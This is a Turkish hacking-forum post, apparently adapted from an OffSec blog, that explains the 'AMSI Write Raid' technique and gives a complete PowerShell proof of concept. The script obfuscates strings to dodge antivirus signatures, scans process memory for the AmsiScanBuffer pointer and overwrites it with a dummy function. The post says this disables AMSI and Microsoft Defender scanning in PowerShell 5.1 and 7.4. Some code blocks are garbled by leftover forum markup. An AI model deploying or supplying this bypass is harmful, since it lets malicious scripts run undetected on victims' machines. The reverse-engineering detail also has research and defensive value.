Merhabalar arkadaşlar bugün sizlere güzel bir yöntemden bahsedeceğiz. AMSI'yi atlamak için VirtualProtect API'siz ve bellek korumasını değiştirmeden tasarlanan yeni bir bypass tekniğini tanıtacağız.
Bu içerikte, AMSI'yi aşmak için tasarlanmış yeni bir yöntemden bahsedeceğiz. Bu teknik, VirtualProtect API'sini kullanmadan ve bellek korumasını değiştirmeden AMSI'yi atlatmayı sağlıyor. Bu güvenlik açığını keşfeden OffSec Teknik Eğitmeni Victor “Vixx” Khoury'nin keşfini tanıtacağız. Ayrıca, bu hatayı nasıl keşfettiğini, açığı kullanma sürecini ve PowerShell 5,1 ve PowerShell 7,4’te AMSI'yi atlatan kanıt niteliğindeki kodu nasıl oluşturduğunu tartışacağız.
AMSI Güvenlik Açığı Tanıtımı
Microsoft’un Windows 10 ve sonraki sürümlerinde bulunan Anti-Malware Tarama Ara yüzü (AMSI), zararlı yazılımları tespit ederek bunları önlemek için tasarlandı. AMSI, çeşitli güvenlik uygulamalarını (antivirüs veya anti-Malware yazılımları gibi) uygulamalara ve yazılımlara entegre ederek, çalıştırılmadan önce davranışlarını denetler. OffSec Teknik Eğitmeni Victor "Vixx" Khoury, AMSI'nin kritik bileşenlerinden biri olan AmsiScanBuffer'ın adresini içeren ve yazılabilir durumda olan System. Management.Automation.dll içinde bir giriş keşfetti. Bu giriş, yalnızca salt okunur olması gereken İçe Aktarma Tablosu (IAT) girişlerine benzer şekilde işaretlenmeliydi. Bu blog yazısında, bu güvenlik açığını detaylandıracak ve Vixx ‘in bunu nasıl bir 0-günlük AMSI atlatmasına dönüştürdüğünü anlatacağız. Bu güvenlik açığı, 8 Nisan 2024'te Microsoft’a bildirildi.
Bu blog yazısında ayrıca en son Windows 11 sürümünü ve çeşitli OffSec Öğrenme Modüllerinde daha ayrıntılı olarak ele aldığımız Windbg'yi anlatacağız.
Ayrıca AMSI'ye odaklanacağız ve 64-bit Intel assembly ile PowerShell ‘i kullanarak detaylandıracağız. OffSec Öğrencileri, Öğrenci Portalı’nda bu önkoşul Modüllerine ait tüm bağlantılara erişebilirler.
AMSI Arka Planı
Microsoft'un Antimalware Tarama Arayüzü (AMSI), çeşitli uygulamaların, hizmetlerin ve komut dosyalarının çalışma zamanında incelenmesini sağlar.
Çoğu AMSI atlatması, Amsi.dll içindeki bir işlevi veya alanı bozarak AMSI'yi çökertir, böylece etkili bir şekilde atlatılır. Amsi.dll'yi çökertme veya düzeltme eki eklemenin ötesinde, saldırganlar CLR Hooking ile AMSI'yi atlayabilir; bu, VirtualProtect ‘i çağırarak ScanContent işlevinin korumasını değiştirerek ve onu TRUE döndüren bir kancayla üzerine yazarak gerçekleştirilir. VirtualProtect kendisi kötü niyetli olmasa bile kötü amaçlı yazılımlar, Endpoint Algılama ve Yanıt (EDR) sistemleri ile antivirüs (AV) yazılımlarının algısını kaçırmak için belleği değiştirmek için bunu kötüye kullanabilir. Bu saldırı vektörünün yüksek profili göz önüne alındığında, çoğu ileri düzey saldırgan genellikle bu API'yi çağırmaktan kaçınır.
Bu blog yazısında, AMSI'yi atlatmak için yeni keşfedilen bir tekniği anlatacağız.
Öncelikle Amsi.dll'nin AmsiScanBuffer işlevini inceleyerek başlayalım; bu işlev, bellek tamponunu zararlı yazılım açısından tarar. Birçok uygulama ve hizmet bu işlevden yararlanır. .NET çerçevesi içinde, Ortak Dil Çalışma Zamanı (CLR), PowerShell ‘in çekirdek kitaplıklarından biri olan System.Management.Automation.dll içindeki AmsiUtils Sınıfı içindeki ScanContent işlevini kullanır ve bu da AmsiScanBuffer çağrısına yol açar.
PowerShell ‘de [PSObject].Assembly.Location komutunu çalıştırarak bu DLL'nin konumunu ortaya çıkarabiliriz, bu konumu dnsspy ile tersine çevirebiliriz.
Haydi, bu ilginç AMSI bypass'ına göz atalım.
Analiz / Tersine Mühendislik
İlk olarak, Vixx ‘in bu keşfi nasıl bulduğunu göstereceğiz. Başlamak için PowerShell'ı Windbg'ye bağlayacağız. Daha sonra AMSI devreye girdiğinde tetikleneceğini bildiğimiz AmsiScanBuffer işlevine bir kesme noktası koyacağız.
Ardından PowerShell ‘de herhangi rastgele bir dize (örneğin 'Test') çalıştırarak kesme noktasını tetikleyeceğiz. Daha sonra da windbg'de k komutunu çalıştırarak çağrı yığınını kontrol edeceğiz.
Bahsedildiği gibi, çoğu atlatma yöntemi doğrudan Amsi.dll içindeki gerçek AmsiScanBuffer'ı değiştirir. Ancak bu durumda amacımız, AmsiScanBuffer çağrısına yol açan System Management Automation modülünde bir hedef belirlemektir.
System Management Automation ni modülünün 0x1071757 ofsetinden geriye doğru (ub komutu ile) ikinci girişi inceleyerek AmsiScanBuffer'a yönlendiren işlemi görelim ve ne olduğunu gözlemleyelim.
Bu durumda call rax, aslında AmsiScanBuffer'a yapılan gerçek çağrıdır. AMSI'yi atlatmanın bir yolu, call rax'i değiştirmektir ki bu VirtualProtect gerektirir.
Ancak Vixx, rax'in nasıl doldurulduğunu görmek için çağrıdan önceki referansları takip ettiğinde, AmsiScanBuffer'ın alındığı adresin zaten yazılabilir olduğunu fark etti. Bu durum, farklı bir AMSI atlatma yöntemi için olasılık açar.
Artık bunu bulduğumuza göre, bunun neden oluştuğunu anlamaya ve bu girişi bir sahte işlevle üzerine yazarak AMSI'yi atlatmanın mümkün olup olmadığını anlamaya çalışalım.
Savunmasız Girişten Yararlanmak
Bunu keşfettikten sonra Vixx, bu girişin neden yazılabilir olduğunu ve İçe Aktarma Adres Tablosu (IAT) gibi korunmadığını anlamak için yola çıktı. Bu yazılabilir girişin analizini yapalım ve nasıl doldurulduğunu anlamaya çalışalım.
Önce yazılabilir girdimizle System.Management.Automation.ni.dll arasındaki dengeyi sağlayacağız. Bazı önemli komutları vurgulayalım.
Öncelikle, rax'i AmsiScanBuffer'ın adresiyle dolduracak olan 3 hareketli talimatla vurgulanan referansları takip etmeliyiz.
Geçerli yığın çerçevesinin tabanı olan temel işaretçi kaydı rdp'den önce 80 baytlık (0x50) bir dörtlü sözcüğü (64 bit) görüntülemek için dqs'yi kullanacağız. İlk mov komutunun çıktı formatı mov r1l, qword ptr [rbp-50h] ile eşleşen bir satır çıktı (L1) görüntülüyoruz ve aldığımız değer, mov komutuna göre r11'e kaydedilecektir.
Daha sonra ikinci mov komutunun formatına uyan 0x7ffa27c52940 (r11) + 0x20 adresindeki dört kelimeyi görüntülemek için dqs kullanacağız mov r11, qword ptr [r11+20h]. Bu, mov komutuna bağlı olarak tekrar r11'e kaydedilecek olan 0x7ffa27e06b00 adresini ortaya çıkarır.
Daha sonra dqs kullanarak 0x7ffa27e06b00 (r11) adresinde son mov komutunun formatına uygun bir quadword görüntüleyeceğiz mov rax, qword ptr [r11]. Bu, rax'a kaydedilecek ve daha sonra call rax kullanılarak çağrılacak olan AmsiScanBuffer'ın adresini (0x7ffacfcc8260) ortaya çıkarır.
Biz 0x7ffa27e06b00 olan AmsiScanBuffer'ı içeren girişle ilgileniyoruz. Bu, System Management Automation ‘nin taban adresinden hesaplanan bir ofset (0x786b00) ile etiketlenmiştir.
Daha sonra, 0x7ffa27e06b00 ile System Management Automation ni'nin temel adresi arasındaki farkı hesaplayarak bir ifadeyi değerlendirmek için? kullanacağız. Bu, verilen bellek adresi ile DLL'nin taban adresi (0x786b00) arasındaki ofseti doğrular.
Bu durumda, ofset 0x786b00'dür. Bu ofset yerel makineye ve CLR sürümüne bağlı olarak değişebilir.
DLL yüklendiğinde okuma ve yazmayı kesmek ve bu girdinin nasıl doldurulduğunu ve erişildiğini izlemek için bu ofseti kullanabiliriz.
Windbg'yi powershell.exe ile argüman olarak başlatalım.
Daha sonra, System.Management.Automation.ni.dll powershell'e exe ld
System.Management.Automation.ni.dll ile yüklendiğinde kıracağız. Ardından, nasıl doldurulduğunu ve bu girdiye neyin eriştiğini belirlemek için System Management Automation ni + 0x786b00 adresinde okuma / yazma işlemini kıracağız.
Windbg, bu bellek adresini yazan veya okuyan komuttan sonra kesilecektir, bu yüzden ne olduğunu görmek için geri birleştirmemiz (ub) gerekecektir.
Çıktıya göre, clrlNDirectMethodDesc'ın SetNDirectTarget yöntemindeki kesme noktamız tetiklendi ve özellikle fonksiyon içindeki 60 bayt (0x3c) ofsetinde mov rbx, qword ptr [rsp+30h] talimatında oldu. Sonrasında, mevcut talimatın öncesindeki montaj kodunu ub clr!NDirectMethodDesc::SetNDirectTarget+0x1e komutuyla gösterdik.
Sonrasında, u @rbx L1 komutumuz rbx içinde AmsiScanBuffer rutin adresini içeren r14'e yazıldığını ortaya koyduğu anlaşılan komutu ortaya koydu.
Çağrı yığınını kontrol ettiğimizde, bu eylemin clr!ThePreStub rutininin bir parçası olduğunu göreceğiz.
Haydi, işleme devam edelim.
Bu, mov rax,qword ptr [r11] komutunun da bu girdiye eriştiğini ortaya koymaktadır, ancak daha yakından bakarsak, bunun daha önce gördüğümüz AmsiScanBuffer çağrısı olan rax çağrısına yol açtığını fark edeceğiz. Bu, AmsiScanBuffer'ı çağıran ScanContent fonksiyonudur.
Bu, PowerShell ilk yüklendiğinde girişe erişildiğini, AmsiScanBuffer adresinin yazıldığını ve ardından AmsiScanBuffer işlevinin okunduğunu ve çağrıldığını gösterir.
NET Framework'te kodu ilk çalıştırma için hazırlayan ve tam zamanında (JIT) derlemeyi içeren bir yardımcı işlev olan clr!ThePreStub'ı tartışmak için biraz zaman ayıralım. Bu, arayan ve orijinal arayan taraf işlevi arasında yer alacak bir saplama oluşturur.
Kısacası, kodu JIT için hazırlar. Matt Warren'a göre süreç şuna benziyor:
Kısaca, JIT'in bir parçası olarak, yardımcı işlev AmsiScanBuffer adresini 0x786b00 ofsetindeki DLL giriş adresine yazar, ancak izinleri salt okunur olarak değiştirmez. VirtualProtect ‘i çağırmadan AMSI'yi atlamak için bu girdinin üzerine yazarak bu güvenlik açığını kötüye kullanabiliriz.
PowerShell ‘de Bypass Kodlama
Şimdi PowerShell ‘de bir kavram kanıtı kodlamaya başlayabiliriz. Kodumuzdaki girişin üzerine yazmak için System_Management_Automation_ni + 0x786b00 ofsetini kullanabiliriz, ancak bu yaklaşım çok pratik değildir çünkü ofset makineye ve CLR'nin yüklü sürümüne göre değişebilir.
ReadProcessMemory kullanarak ScanContent ‘in bellek adresinden geriye doğru 0x1000000 bayt okumak ve baytları AmsiScanBuffer adresini ve ofseti bulana kadar döngü yapabileceğimiz bir diziye kaydetmek daha iyi bir yaklaşım olacaktır.
Bu yaklaşımı PowerShell 5 ve 7 sürümlerinde test ederken Vixx, tek bir ReadProcessMemory çağrısıyla 0x1000000 baytının tamamını bir kerede okurken erişim sorunlarıyla karşılaştı. Ayrıca baytları teker teker okumanın yavaş olduğunu, milyonlarca ReadProcessMemory çağrısı gerektirdiğini, bunun da gürültülü ve verimsiz olduğunu keşfetti. Verileri 0x50000 (32KB) parçalara bölmeyi tercih ederek bir orta yol buldu.
Kodu oluşturmaya başlayalım. Kodun ilk bölümünde, C#'ta gerekli API'leri yükleyip içe aktaracağız.
Bu kodda, DllImport niteliğini kullanarak kernel32.dll'den içe aktardığımız birkaç harici işlev bildirimine sahip bir APIs sınıfı tanımlayacağız. Sınıfımız ayrıca bir tamsayı döndüren bir Dummy yöntemi içerir. Son olarak, bu bellek içi derlemeyi derlemek ve bu sınıfı geçerli PowerShell oturumuna eklemek için Add-Type cmdlet'ini kullanacağız. Bu kukla işlevi daha sonra AmsiS içeren yazılabilir girdinin üzerine yazmak için kullanacağız.
Kod:
$APIs = @"
using System;
using System.ComponentModel;
using System.Management.Automation;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
using System.Text;
public class APIs {
[DllImport("kernel32.dll")]
public static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, UInt32 nSize, ref UInt32 lpNumberOfBytesRead);
[DllImport("kernel32.dll")]
public static extern IntPtr GetCurrentProcess();
[DllImport("kernel32", CharSet=CharSet.Ansi, ExactSpelling=true, SetLastError=true)]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll", CharSet=CharSet.Auto)]
public static extern IntPtr GetModuleHandle([MarshalAs(UnmanagedType.LPWStr)] string lpModuleName);
[MethodImpl(MethodImplOptions.NoOptimization | MethodImplOptions.NoInlining)]
public static int Dummy() {
return 1;
}
}
"@
Add-Type $APIs
Bellek İçi Derleme ve Sahte İşlev
Daha sonra, GetModuleHandle ve GetProcAddress kullanarak AmsiScanBuffer'ın bellekteki işlev adresini almamız gerekir.
Amsi.dll'in bellekteki adresini almak için Amsi.dll üzerinde GetModuleHandle'ı ve AmsiScanBuffer'ın bellekteki adresini almak için AmsiScanBuffer üzerinde GetProcAddress'i çalıştırmamız gerekir.
Ancak, burada dikkat etmeliyiz. Amsi.dll ve AmsiScanbuffer dizelerini kullanmak istemiyoruz çünkü bunlar çoğu AV ürününü tetikleyecek AV imzalarıdır. Bunun yerine Vixx, bu dizeleri oluşturmak için bazı akıllı dize değiştirmeleri önerir.
ScanContent ‘ten geriye doğru çalışarak System.Management.Automation.dll içinde AmsiScanBuffer'ı arayalım.
Bu AmsiScanBuffer, ScanContent ‘ten geriye doğru çalışarak System.Management.Automation.dll'de arayacağımız adres olacaktır.
Kod:
$string = 'hello, world'
$string = $string.replace('he','a')
$string = $string.replace('ll','m')
$string = $string.replace('o,','s')
$string = $string.replace(' ','i')
$string = $string.replace('wo','.d')
$string = $string.replace('rld','ll')
$string2 = 'hello, world'
$string2 = $string2.replace('he','A')
$string2 = $string2.replace('ll','m')
$string2 = $string2.replace('o,','s')
$string2 = $string2.replace(' ','i')
$string2 = $string2.replace('wo','Sc')
$string2 = $string2.replace('rld','an')
$string3 = 'hello, world'
$string3 = $string3.replace('hello','Bu')
$string3 = $string3.replace(', ','ff')
$string3 = $string3.replace('world','er')
$Address = [APIS]::GetModuleHandle($string)
[IntPtr] $funcAddr = [APIS]::GetProcAddress($Address, $string2 + $string3)
AmsiScanBuffer Adresini Getirme
ScanContent işlevi System.Management.Automation.dll içinde bulunan AmsiUtils sınıfının içinde olduğundan, bu işlevi kodumuzda bulmak için birkaç adım gerçekleştirmemiz gerekecek.
Önce System.Management.Automation.dll derlemesini bulana kadar PowerShell ‘de yüklü derlemeler arasında döngü yapacağız.
Daha sonra da, bu derlemenin içindeki tüm sınıfları alacağız ve AmsiUtils sınıfını bulana kadar bunlar arasında döngü yapacağız.
Son olarak, bu sınıfın içindeki tüm sınırları alacağız ve ScanContent'i bulana kadar bunlar arasında döngü yapacağız.
İşte kodu:
Kod:
$Assemblies = [appdomain]::currentdomain.getassemblies()
$Assemblies |
ForEach-Object {
if($_.Location -ne $null){
$split1 = $_.FullName.Split(",")[0]
If($split1.StartsWith('S') -And $split1.EndsWith('n') -And $split1.Length -eq 28) {
$Types = $_.GetTypes()
}
}
}
$Types |
ForEach-Object {
if($_.Name -ne $null){
If($_.Name.StartsWith('A') -And $_.Name.EndsWith('s') -And $_.Name.Length -eq 9) {
$Methods = $_.GetMethods([System.Reflection.BindingFlags]'Static,NonPublic')
}
}
}
$Methods |
ForEach-Object {
if($_.Name -ne $null){
If($_.Name.StartsWith('S') -And $_.Name.EndsWith('t') -And $_.Name.Length -eq 11) {
$MethodFound = $_
}
}
}
Komut Dosyası Aramaları
Artık fonksiyona sahip olduğumuza göre, AmsiScanBuffer adresini bulana kadar ScanContent ‘ten başlayarak geriye doğru giderek mevcut süreçten 0x1000000 bayt (0x50000 bayt veya bir seferde 32KB) okumak için ReadProcessMemory'yi kullanacağız.
Kavram kanıtımız dört delil alacaktır.
İlk kanıt $InitialStart olacak, bu da aramanın nerede başladığını gösteren ScanContent ‘ten negatif ofsettir. Bu durumda, bunu varsayılan değer olan 0x5000'e ayarlayacağız, bu da aramaya ScanContent ‘ten -0x50000 bayt ile başlayacağımız anlamına geliyor.
İkinci olarak, her döngüde $InitialStart değerinden çıkarılacak ofset olan $NegativeOffset değerine sahibiz. Her döngüde geriye doğru giderek 0x50000 bayt daha okuyacağız.
Ardından, ReadProcessMemory ‘nin her yinelemesinde okunacak bayt sayısı olan $ReadBytes değerine sahibiz. Burada da bir seferde 0x50000 bayt okuyacağız.
Son olarak, $MaxOffset, ScanContent ‘ten başlayarak arayacağımız toplam bayt sayısıdır ve 0x1000000 olacaktır.
Bu parametrelerin her biri için kodu kavram kanıtımıza ekleyelim.
Kod:
# Define named parameters
param(
$InitialStart = 0x50000,
$NegativeOffset= 0x50000,
$MaxOffset = 0x1000000,
$ReadBytes = 0x50000
)
Komut Dosyası Parametreleri
Daha sonra, döngülerimizi kuracağız. İlk döngü bir seferde 0x50000 bayt okuyacak ve ikinci döngü, bir eşleşme bulunana kadar her 8 baytı AmsiScanBuffer adresiyle karşılaştırarak diziyi bayt bayt arayacak ve bu noktada döngü kesilecektir.
Kod:
[IntPtr] $MethodPointer = $MethodFound.MethodHandle.GetFunctionPointer()[/HEADING]
[HEADING=3][IntPtr] $Handle = [APIs]::GetCurrentProcess()[/HEADING]
[HEADING=3]$dummy = 0[/HEADING]
[HEADING=3][/HEADING]
[HEADING=3]:initialloop for($j = $InitialStart; $j -lt $MaxOffset; $j += $NegativeOffset){[/HEADING]
[HEADING=3] [IntPtr] $MethodPointerToSearch = [Int64] $MethodPointer - $j[/HEADING]
[HEADING=3] $ReadedMemoryArray = [byte[]]::new($ReadBytes)[/HEADING]
[HEADING=3] $ApiReturn = [APIs]::ReadProcessMemory($Handle, $MethodPointerToSearch, $ReadedMemoryArray, $ReadBytes,[ref]$dummy)[/HEADING]
[HEADING=3] for ($i = 0; $i -lt $ReadedMemoryArray.Length; $i += 1) {[/HEADING]
[HEADING=3] $bytes = [byte[]]($ReadedMemoryArray[$i], $ReadedMemoryArray[$i + 1], $ReadedMemoryArray[$i + 2], $ReadedMemoryArr>[/HEADING]
[HEADING=3] [IntPtr] $PointerToCompare = [bitconverter]::ToInt64($bytes,0)[/HEADING]
[HEADING=3] if ($PointerToCompare -eq $funcAddr) {[/HEADING]
[HEADING=3] Write-Host "Found @ $($i)!"[/HEADING]
[HEADING=3] [IntPtr] $MemoryToPatch = [Int64] $MethodPointerToSearch + $i[/HEADING]
[HEADING=3] break initialloop[/HEADING]
[HEADING=3] }[/HEADING]
[HEADING=3] }[/HEADING]
[HEADING=3]}[/HEADING]
[HEADING=3]
Komut Dosyası Döngüleri
AmsiScanBuffer'ı içeren giriş adresini bulduktan sonra, onu Dummy fonksiyonumuzla değiştireceğiz (VirtualProtect kullanmadan).
Kod:
[IntPtr] $DummyPointer = [APIs].GetMethod('Dummy').MethodHandle.GetFunctionPointer()[/HEADING]
[HEADING=3]$buf = [IntPtr[]] ($DummyPointer)[/HEADING]
[HEADING=3][System.Runtime.InteropServices.Marshal]::Copy($buf, 0, $MemoryToPatch, 1)[/HEADING]
[HEADING=3]
Dummy Fonksiyon Enjeksiyonu
İşte Vixx ‘in GitHub reposunda da bulunan tamamlanmış kodumuz:
AMSI Yazma Baskını Baypasını Tamamlayın
Bunu web erişimli bir dizine universal3.ps1 olarak kaydedelim. Ardından, PowerShell 5,1’i açacağız ve amsiutils'i engellediği için AMSI'nin yerinde olduğunu göstereceğiz. AmsiUtils, AmsiScanBuffer rutinini içeren sınıftır, bu nedenle AV, AmsiUtils'e herhangi bir referans gördüğünde, AMSI'yi atlamaya çalıştığımızı varsayar ve onu engeller. Daha sonra IEX ile kavram kanıtımızı başlatacağız. Varsayılan parametreleri kullanacağız (Windows veya CLR sürümüne göre değişebilir). Son olarak, bypass'ın başarılı olup olmadığını görmek için amsiutils'i tekrar çalıştırmayı deneyeceğiz.
Çalıştı! AMSI'yi atladık ve amsiutils'i başarıyla çalıştırdık. Bunu PowerShell 7,4 üzerinde deneyelim.
AMSI Yazma Baskınımız PowerShell 7,4’e karşı da çalıştı! Bu, Microsoft Defender'ı ve AMSI kullanan diğer AV ürünlerinin çoğunu atlatacaktır.
Özet Olarak
Bu içeriğimizde, OffSec Teknik Eğitmeni Victor "Vixx "in Khoury, VirtualProtect API'sinden yararlanmadan AMSI'yi atlayabilen gelişmiş bir bypass "AMSI Write Raid" güvenlik açığı keşfetti. Bu teknik, AmsiScanBuffer adresini değiştirmek ve bellek koruma ayarlarını değiştirmeden AMSI'yi atlatmak için System.Management.Automation.dll içindeki yazılabilir bir girişten yararlanır. Hem PowerShell 5 hem de 7'de AMSI'yi atlatan bir kavram kanıtı PowerShell betiğini tanıttık ve analiz ettik.
İYİ FORUMLAR BEYAZ HACKER AİLESİ:)